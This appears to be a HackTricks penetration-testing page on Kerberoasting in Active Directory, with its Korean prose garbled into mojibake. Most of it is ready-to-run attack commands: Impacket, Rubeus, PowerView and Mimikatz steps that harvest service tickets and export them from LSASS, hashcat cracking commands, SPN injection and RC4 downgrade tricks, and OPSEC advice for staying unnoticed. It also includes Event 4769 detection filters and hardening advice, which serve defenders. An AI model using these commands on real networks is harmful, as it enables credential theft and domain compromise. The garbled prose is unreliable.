Kerberoast

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Kerberoast

Kerberoasting์€ TGS ํ‹ฐ์ผ“ ํš๋“์— ์ดˆ์ ์„ ๋งž์ถฅ๋‹ˆ๋‹ค. ํŠนํžˆ ์ปดํ“จํ„ฐ ๊ณ„์ •์„ ์ œ์™ธํ•œ Active Directory (AD)์˜ ์‚ฌ์šฉ์ž ๊ณ„์ •์œผ๋กœ ์‹คํ–‰๋˜๋Š” ์„œ๋น„์Šค์™€ ์—ฐ๊ด€๋œ ํ‹ฐ์ผ“์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ‹ฐ์ผ“์˜ ์•”ํ˜ธํ™”๋Š” ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ์—์„œ ์œ ๋ž˜ํ•œ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ์˜คํ”„๋ผ์ธ์œผ๋กœ ์ž๊ฒฉ ์ฆ๋ช…์„ ํฌ๋ž˜ํ‚นํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ๊ณ„์ •์ด ์„œ๋น„์Šค๋กœ ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์€ ServicePrincipalName (SPN) ์†์„ฑ์ด ๋น„์–ด ์žˆ์ง€ ์•Š์€ ๊ฒƒ์œผ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

์–ด๋–ค ์ธ์ฆ๋œ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋“  TGS ํ‹ฐ์ผ“์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ํŠน๋ณ„ํ•œ ๊ถŒํ•œ์€ ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

ํ•ต์‹ฌ ํฌ์ธํŠธ

  • ์‚ฌ์šฉ์ž ๊ณ„์ •์œผ๋กœ ์‹คํ–‰๋˜๋Š” ์„œ๋น„์Šค์˜ TGS ํ‹ฐ์ผ“์„ ๋Œ€์ƒ์œผ๋กœ ํ•จ(์ฆ‰, SPN์ด ์„ค์ •๋œ ๊ณ„์ •; ์ปดํ“จํ„ฐ ๊ณ„์ • ์•„๋‹˜).
  • ํ‹ฐ์ผ“์€ ์„œ๋น„์Šค ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ์—์„œ ์œ ๋„๋œ ํ‚ค๋กœ ์•”ํ˜ธํ™”๋˜๋ฉฐ ์˜คํ”„๋ผ์ธ์—์„œ ํฌ๋ž˜ํ‚น ๊ฐ€๋Šฅ.
  • ๊ถŒํ•œ ์ƒ์Šน ๋ถˆํ•„์š”; ์ธ์ฆ๋œ ๊ณ„์ •์ด๋ฉด ๋ˆ„๊ตฌ๋‚˜ TGS ํ‹ฐ์ผ“์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Œ.

Warning

๋Œ€๋ถ€๋ถ„์˜ ๊ณต๊ฐœ ํˆด์€ AES๋ณด๋‹ค ํฌ๋ž˜ํ‚น์ด ๋น ๋ฅด๊ธฐ ๋•Œ๋ฌธ์— RC4-HMAC (etype 23) ์„œ๋น„์Šค ํ‹ฐ์ผ“ ์š”์ฒญ์„ ์„ ํ˜ธํ•ฉ๋‹ˆ๋‹ค. RC4 TGS ํ•ด์‹œ๋Š” $krb5tgs$23$*๋กœ ์‹œ์ž‘ํ•˜๊ณ , AES128์€ $krb5tgs$17$*, AES256์€ $krb5tgs$18$*๋กœ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋งŽ์€ ํ™˜๊ฒฝ์ด AES-only๋กœ ์ด๋™ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. RC4๋งŒ ๊ด€๋ จ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. ๋˜ํ•œ โ€œspray-and-prayโ€ roasting์€ ํ”ผํ•˜์‹ญ์‹œ์˜ค. Rubeus์˜ ๊ธฐ๋ณธ kerberoast๋Š” ๋ชจ๋“  SPN์— ๋Œ€ํ•ด ์ฟผ๋ฆฌํ•˜๊ณ  ํ‹ฐ์ผ“์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์–ด ์†Œ์Œ์ด ํฝ๋‹ˆ๋‹ค. ๋จผ์ € ํฅ๋ฏธ๋กœ์šด principal์„ ์—ด๊ฑฐํ•˜๊ณ  ํƒ€๊ฒŸํŒ…ํ•˜์„ธ์š”.

์„œ๋น„์Šค ๊ณ„์ • ๋น„๋ฐ€ ๋ฐ Kerberos ์•”ํ˜ธํ™” ๋น„์šฉ

๋งŽ์€ ์„œ๋น„์Šค๊ฐ€ ์—ฌ์ „ํžˆ ์ˆ˜๋™์œผ๋กœ ๊ด€๋ฆฌ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž ๊ณ„์ •์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. KDC๋Š” ์„œ๋น„์Šค ํ‹ฐ์ผ“์„ ํ•ด๋‹น ๋น„๋ฐ€๋ฒˆํ˜ธ์—์„œ ์œ ๋„๋œ ํ‚ค๋กœ ์•”ํ˜ธํ™”ํ•˜์—ฌ ์–ด๋–ค ์ธ์ฆ๋œ ์ฃผ์ฒด์—๊ฒŒ๋“  ์•”ํ˜ธ๋ฌธ์„ ์ „๋‹ฌํ•˜๋ฏ€๋กœ, kerberoasting์€ ์ž ๊ธˆ์ด๋‚˜ DC ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ ์—†์ด ๋ฌด์ œํ•œ ์˜คํ”„๋ผ์ธ ์ถ”์ธก์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์•”ํ˜ธํ™” ๋ชจ๋“œ๊ฐ€ ํฌ๋ž˜ํ‚น ์˜ˆ์‚ฐ์„ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค:

ModeKey derivationEncryption typeApprox. RTX 5090 throughput*Notes
AES + PBKDF2PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPNetype 17/18 ($krb5tgs$17$, $krb5tgs$18$)~6.8 million guesses/sSalt blocks rainbow tables but still allows fast cracking of short passwords.
RC4 + NT hashSingle MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticketetype 23 ($krb5tgs$23$)~4.18 billion guesses/s~1000ร— faster than AES; attackers force RC4 whenever msDS-SupportedEncryptionTypes permits it.

*Benchmarks from Chick3nman as d in Matthew Greenโ€™s Kerberoasting analysis.

RC4์˜ confounder๋Š” ๋‹จ์ง€ ํ‚ค์ŠคํŠธ๋ฆผ์„ ๋ฌด์ž‘์œ„ํ™”ํ•  ๋ฟ์ด๋ฉฐ, ์ถ”์ธก๋‹น ์ž‘์—…๋Ÿ‰์„ ๋Š˜๋ฆฌ์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค. ์„œ๋น„์Šค ๊ณ„์ •์ด ๋ฌด์ž‘์œ„ ๋น„๋ฐ€(gMSA/dMSA, machine accounts, ๋˜๋Š” vault-managed strings)์— ์˜์กดํ•˜์ง€ ์•Š๋Š” ํ•œ, ํƒ€๊ฒฉ ์†๋„๋Š” ์ˆœ์ „ํžˆ GPU ์ž์›์— ๋‹ฌ๋ ค ์žˆ์Šต๋‹ˆ๋‹ค. AES-only etypes๋ฅผ ๊ฐ•์ œํ•˜๋ฉด ์ดˆ๋‹น ์ˆ˜์‹ญ์–ต ๊ฑด ์ถ”์ธก์˜ ์šฐ์›”์„ฑ์„ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์•ฝํ•œ ์ธ๊ฐ„ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์—ฌ์ „ํžˆ PBKDF2์— ์˜ํ•ด ๋ฌด๋„ˆ์ง‘๋‹ˆ๋‹ค.

๊ณต๊ฒฉ

Linux

# Metasploit Framework
msf> use auxiliary/gather/get_user_spns

# Impacket โ€” request and save roastable hashes (prompts for password)
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# With NT hash
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# Target a specific userโ€™s SPNs only (reduce noise)
GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>

# kerberoast by @skelsec (enumerate and roast)
# 1) Enumerate kerberoastable users via LDAP
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
# 2) Request TGS for selected SPNs and dump
kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes

kerberoast ๊ฒ€์‚ฌ๋ฅผ ํฌํ•จํ•œ ๋‹ค๊ธฐ๋Šฅ ๋„๊ตฌ:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c

Windows

  • kerberoastable ์‚ฌ์šฉ์ž ์—ด๊ฑฐ
# Built-in
setspn.exe -Q */*   # Focus on entries where the backing object is a user, not a computer ($)

# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname

# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
.\Rubeus.exe kerberoast /stats
  • Technique 1: TGS ์š”์ฒญ ๋ฐ dump from memory
# Acquire a single service ticket in memory for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"  # e.g. MSSQLSvc/mgmt.domain.local

# Get all cached Kerberos tickets
klist

# Export tickets from LSASS (requires admin)
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Convert to cracking formats
python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
# Optional: convert john -> hashcat etype23 if needed
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
  • ๊ธฐ๋ฒ• 2: ์ž๋™ํ™” ๋„๊ตฌ
# PowerView โ€” single SPN to hashcat format
Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
# PowerView โ€” all user SPNs -> CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus โ€” default kerberoast (be careful, can be noisy)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Rubeus โ€” target a single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
# Rubeus โ€” target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap

Warning

TGS ์š”์ฒญ์€ Windows Security Event 4769๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค (Kerberos ์„œ๋น„์Šค ํ‹ฐ์ผ“์ด ์š”์ฒญ๋˜์—ˆ์Šต๋‹ˆ๋‹ค).

OPSEC ๋ฐ AES ์ „์šฉ ํ™˜๊ฒฝ

  • ์˜๋„์ ์œผ๋กœ AES๊ฐ€ ์—†๋Š” ๊ณ„์ •์— ๋Œ€ํ•ด RC4 ์š”์ฒญ:
  • Rubeus: /rc4opsec๋Š” tgtdeleg์„ ์‚ฌ์šฉํ•˜์—ฌ AES๊ฐ€ ์—†๋Š” ๊ณ„์ •์„ ์—ด๊ฑฐํ•˜๊ณ  RC4 ์„œ๋น„์Šค ํ‹ฐ์ผ“์„ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.
  • Rubeus: /tgtdeleg์„ kerberoast์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋ฉด ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ RC4 ์š”์ฒญ๋„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
  • ์กฐ์šฉํžˆ ์‹คํŒจํ•˜๋Š” ๋Œ€์‹  AES ์ „์šฉ ๊ณ„์ •์„ Roast:
  • Rubeus: /aes๋Š” AES๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ณ„์ •์„ ์—ด๊ฑฐํ•˜๊ณ  AES ์„œ๋น„์Šค ํ‹ฐ์ผ“(etype 17/18)์„ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.
  • ์ด๋ฏธ TGT(PTT์ด๊ฑฐ๋‚˜ .kirbi์—์„œ ์–ป์€ ๊ฒฝ์šฐ)๋ฅผ ๋ณด์œ ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด /ticket:<blob|path>๋ฅผ /spn:<SPN> ๋˜๋Š” /spns:<file>์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์—ฌ LDAP์„ ๊ฑด๋„ˆ๋›ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋Œ€์ƒ ์ง€์ •, ์“ฐ๋กœํ‹€๋ง ๋ฐ ๋…ธ์ด์ฆˆ ๊ฐ์†Œ:
  • ์‚ฌ์šฉ: /user:<sam>, /spn:<spn>, /resultlimit:<N>, /delay:<ms> ๋ฐ /jitter:<1-100>.
  • /pwdsetbefore:<MM-dd-yyyy>(์ด์ „ ๋น„๋ฐ€๋ฒˆํ˜ธ)๋ฅผ ์‚ฌ์šฉํ•ด ์•ฝํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š” ์•”ํ˜ธ๋ฅผ ํ•„ํ„ฐ๋งํ•˜๊ฑฐ๋‚˜ /ou:<DN>๋กœ ๊ถŒํ•œ ์žˆ๋Š” OU๋ฅผ ๋Œ€์ƒ์œผ๋กœ ์ง€์ •ํ•˜์„ธ์š”.

Examples (Rubeus):

# Kerberoast only AES-enabled accounts
.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
# Request RC4 for accounts without AES (downgrade via tgtdeleg)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
# Roast a specific SPN with an existing TGT from a non-domain-joined host
.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local

Cracking

# John the Ripper
john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast

# Hashcat
# RC4-HMAC (etype 23)
hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
# AES128-CTS-HMAC-SHA1-96 (etype 17)
hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
# AES256-CTS-HMAC-SHA1-96 (etype 18)
hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt

์ง€์†์„ฑ / ์•…์šฉ

๊ณ„์ •์„ ์ œ์–ดํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด SPN์„ ์ถ”๊ฐ€ํ•ด ๊ณ„์ •์„ kerberoastable๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose

๋” ์‰ฌ์šด cracking์„ ์œ„ํ•ด RC4๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋„๋ก ๊ณ„์ •์„ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œํ•ฉ๋‹ˆ๋‹ค(๋Œ€์ƒ ๊ฐ์ฒด์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ ํ•„์š”):

# Allow only RC4 (value 4) โ€” very noisy/risky from a blue-team perspective
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
# Mixed RC4+AES (value 28)
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}

GenericWrite/GenericAll๋กœ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ Targeted Kerberoast (์ž„์‹œ SPN)

When BloodHound shows that you have control over a user object (e.g., GenericWrite/GenericAll), you can reliably โ€œtargeted-roastโ€ that specific user even if they do not currently have any SPNs:

  • ์ œ์–ด ์ค‘์ธ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ž„์‹œ SPN์„ ์ถ”๊ฐ€ํ•˜์—ฌ roastable ์ƒํƒœ๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • ํ•ด๋‹น SPN์— ๋Œ€ํ•ด RC4 (etype 23)๋กœ ์•”ํ˜ธํ™”๋œ TGS-REP๋ฅผ ์š”์ฒญํ•˜์—ฌ cracking์— ์œ ๋ฆฌํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • hashcat์œผ๋กœ $krb5tgs$23$... ํ•ด์‹œ๋ฅผ crackํ•ฉ๋‹ˆ๋‹ค.
  • footprint๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•ด SPN์„ ์ •๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

Windows (PowerView/Rubeus):

# Add temporary SPN on the target user
Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/TempSvc-<rand>'} -Verbose

# Request RC4 TGS for that user (single target)
.\Rubeus.exe kerberoast /user:<targetUser> /nowrap /rc4

# Remove SPN afterwards
Set-DomainObject -Identity <targetUser> -Clear serviceprincipalname -Verbose

Linux ํ•œ ์ค„ ๋ช…๋ น(targetedKerberoast.py๋Š” SPN ์ถ”๊ฐ€ -> TGS (etype 23) ์š”์ฒญ -> SPN ์ œ๊ฑฐ๋ฅผ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค):

targetedKerberoast.py -d '<DOMAIN>' -u <WRITER_SAM> -p '<WRITER_PASS>'

์ถœ๋ ฅ๊ฐ’์„ hashcat autodetect๋กœ ํฌ๋ž™ํ•˜์„ธ์š” (mode 13100 for $krb5tgs$23$):

hashcat <outfile>.hash /path/to/rockyou.txt

Detection notes: SPN์„ ์ถ”๊ฐ€/์ œ๊ฑฐํ•˜๋ฉด ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ณ€๊ฒฝ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค(๋Œ€์ƒ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ Event ID 5136/4738) ๋ฐ TGS ์š”์ฒญ์€ Event ID 4769๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ณผ๋„ํ•œ ์š”์ฒญ(throttling)์„ ๊ณ ๋ คํ•˜๊ณ  ์ฆ‰์‹œ ์ •๋ฆฌ(cleanup)ํ•˜์„ธ์š”.

You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast

If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great) itโ€™s due to local time skew. Sync to the DC:

  • ntpdate <DC_IP> (deprecated on some distros)
  • rdate -n <DC_IP>

๋„๋ฉ”์ธ ๊ณ„์ • ์—†์ด Kerberoast ์ˆ˜ํ–‰ (AS-requested STs)

In September 2022, Charlie Clark showed that if a principal does not require pre-authentication, itโ€™s possible to obtain a service ticket via a crafted KRB_AS_REQ by altering the sname in the request body, effectively getting a service ticket instead of a TGT. This mirrors AS-REP roasting and does not require valid domain credentials.

See details: Semperis write-up โ€œNew Attack Paths: AS-requested STsโ€.

Warning

์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช…์ด ์—†์œผ๋ฉด ์ด ๊ธฐ๋ฒ•์œผ๋กœ LDAP๋ฅผ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ ์‚ฌ์šฉ์ž ๋ชฉ๋ก์„ ๋ฐ˜๋“œ์‹œ ์ œ๊ณตํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Linux

  • Impacket (PR #1413):
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/

Windows

  • Rubeus (PR #139):
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE

๊ด€๋ จ

AS-REP roastable ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

ASREPRoast

ํƒ์ง€

Kerberoasting์€ ์€๋ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. DCs(๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ)์—์„œ Event ID 4769๋ฅผ ์ˆ˜์ง‘ํ•˜๊ณ  ๋…ธ์ด์ฆˆ๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•ด ํ•„ํ„ฐ๋ฅผ ์ ์šฉํ•˜์„ธ์š”:

  • ์„œ๋น„์Šค ์ด๋ฆ„ krbtgt ๋ฐ $๋กœ ๋๋‚˜๋Š” ์„œ๋น„์Šค ์ด๋ฆ„(์ปดํ“จํ„ฐ ๊ณ„์ •)์„ ์ œ์™ธํ•˜์„ธ์š”.
  • ์ปดํ“จํ„ฐ ๊ณ„์ •์˜ ์š”์ฒญ(*$$@*)์„ ์ œ์™ธํ•˜์„ธ์š”.
  • ์„ฑ๊ณตํ•œ ์š”์ฒญ๋งŒ(์‹คํŒจ ์ฝ”๋“œ 0x0).
  • ์•”ํ˜ธํ™” ์œ ํ˜•์„ ์ถ”์ ํ•˜์„ธ์š”: RC4 (0x17), AES128 (0x11), AES256 (0x12). 0x17๋งŒ์œผ๋กœ ๊ฒฝ๋ณด๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค์ง€ ๋งˆ์„ธ์š”.

์˜ˆ์‹œ PowerShell ์ดˆ๊ธฐ ๋ถ„์„:

Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
Where-Object {
($_.Message -notmatch 'krbtgt') -and
($_.Message -notmatch '\$$') -and
($_.Message -match 'Failure Code:\s+0x0') -and
($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
($_.Message -notmatch '\$@')
} |
Select-Object -ExpandProperty Message

Additional ideas:

  • ํ˜ธ์ŠคํŠธ/์‚ฌ์šฉ์ž๋ณ„ ์ •์ƒ SPN ์‚ฌ์šฉ์˜ ๊ธฐ์ค€์„ ์„ ์„ค์ •ํ•˜๊ณ ; ๋‹จ์ผ principal(์ฃผ์ฒด)์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์„œ๋กœ ๋‹ค๋ฅธ SPN ์š”์ฒญ์˜ ๋Œ€๋Ÿ‰ ๊ธ‰์ฆ์„ ํƒ์ง€ํ•˜์—ฌ ๊ฒฝ๋ณด๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค์„ธ์š”.
  • AES๋กœ ๊ฐ•ํ™”๋œ ๋„๋ฉ”์ธ์—์„œ ๋น„์ •์ƒ์ ์ธ RC4 ์‚ฌ์šฉ์„ ํ‘œ์‹œ(ํƒ์ง€)ํ•˜์„ธ์š”.

Mitigation / Hardening

  • ์„œ๋น„์Šค์— gMSA/dMSA ๋˜๋Š” ๋จธ์‹  ๊ณ„์ •์„ ์‚ฌ์šฉํ•˜์„ธ์š”. ๊ด€๋ฆฌํ˜• ๊ณ„์ •์€ 120์ž ์ด์ƒ์˜ ๋ฌด์ž‘์œ„ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฐ€์ง€๋ฉฐ ์ž๋™์œผ๋กœ ๊ต์ฒด๋˜๋ฏ€๋กœ ์˜คํ”„๋ผ์ธ ํฌ๋ž˜ํ‚น์ด ์‚ฌ์‹ค์ƒ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  • ์„œ๋น„์Šค ๊ณ„์ •์— ๋Œ€ํ•ด msDS-SupportedEncryptionTypes๋ฅผ AES ์ „์šฉ(decimal 24 / hex 0x18)์œผ๋กœ ์„ค์ •ํ•œ ํ›„ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ต์ฒดํ•˜์—ฌ AES ํ‚ค๊ฐ€ ํŒŒ์ƒ๋˜๋„๋ก ํ•˜์„ธ์š”.
  • ๊ฐ€๋Šฅํ•˜๋ฉด ํ™˜๊ฒฝ์—์„œ RC4๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  RC4 ์‚ฌ์šฉ ์‹œ๋„๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”. DC(๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ)์—์„œ๋Š” msDS-SupportedEncryptionTypes๊ฐ€ ์„ค์ •๋˜์ง€ ์•Š์€ ๊ณ„์ •์˜ ๊ธฐ๋ณธ๊ฐ’์„ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•ด DefaultDomainSupportedEncTypes ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฒ ์ €ํžˆ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.
  • ์‚ฌ์šฉ์ž ๊ณ„์ •์—์„œ ๋ถˆํ•„์š”ํ•œ SPN์„ ์ œ๊ฑฐํ•˜์„ธ์š”.
  • ๊ด€๋ฆฌํ˜• ๊ณ„์ •์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ๊ธธ๊ณ  ๋ฌด์ž‘์œ„์ธ ์„œ๋น„์Šค ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ(25์ž ์ด์ƒ)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”; ํ”ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ๊ธˆ์ง€ํ•˜๊ณ  ์ •๊ธฐ์ ์œผ๋กœ ๊ฐ์‚ฌํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ